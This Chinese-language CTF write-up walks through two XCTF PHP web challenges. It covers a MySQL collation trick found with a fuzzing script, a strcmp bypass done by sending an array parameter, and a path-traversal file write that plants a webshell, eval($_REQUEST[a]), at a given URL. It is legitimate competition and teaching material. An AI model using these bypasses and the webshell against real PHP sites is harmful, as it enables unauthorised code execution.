1. 程式人生 > >XCTF兩道web題目的writeup

XCTF兩道web題目的writeup

只會web正好又是php的審計題目,於是就把兩道題都做了。大牛們都忙著破各種路由器,破各種裝置去了,我也僥倖得了個第一:

QQ圖片20141024184200.png

第一題,沒怎麼截圖,檢視程式碼如下:

QQ圖片20141025151017.jpg

主要是考mysql的一個trick。就是查詢出來的$row['id']和$id的區別。這麼說可能有點不明白,我們用一下程式碼fuzz一下mysql:

<?php
mysql_connect("localhost","root","root");
mysql_select_db ("test");
mysql_query("set names utf8");
for($i = 0 ; $i < 256 ; $i++){
    $c = chr($i);
    $name = mysql_real_escape_string('hehe' . $c);
    $sql = "SELECT * FROM `name` WHERE `name` = '{$name}'";
    $row = mysql_fetch_array(mysql_query($sql));
    if ($row['name'] == 'hehe') {
        echo "{$c} <br/>";
    }
}

如果在name後面加上一個字元,在mysql裡查詢,如果查到的和不加這個字元查出來的行相同,則輸出。

得到了如下結果:

001.jpg

我們隨便挑一個跟在adog後面提交就能得到flag了。如下:

002.jpg

003.jpg

第二題,訪問pwnme.php得到如下提示:

XCTF22.png

很快就明白了是要說明在php裡=====的意義不同。我記得之前一個php的trick,我猜這裡的程式碼是這樣:strcmp($_POST[password], 'xxxx')==0。看一下php的strcmp文件就能知道:

XCTF142.png

所以傳一個password[]=xxx即可得到如下頁面:

XCTF175.png

訪問可得到一段原始碼,yeah碰上我最愛的審計題了:

XCTF205.png

原始碼其實很簡單,就是寫入一個webshell,但檔名是跟當前秒數有關,所以大部分人想到要跑一下檔名。
當然,我這個人比較懶,能不能想個方法,不要跑這該死的檔名。

這道題沒有過濾/和../,我可以直接做跳轉,將時間作為目錄名,再用../跳轉到上個目錄,這樣我的檔案就不帶時間字首了。
當然還要讓php不出錯,試了幾次,資料包如下即可:

XCTF378.png

這樣我的shell就為:http://106.120.92.162:5000/backup/".eval($_REQUEST[a]).php

XCTF453.png

不需要跑使用者名稱。拿到shell了就讀flag即可。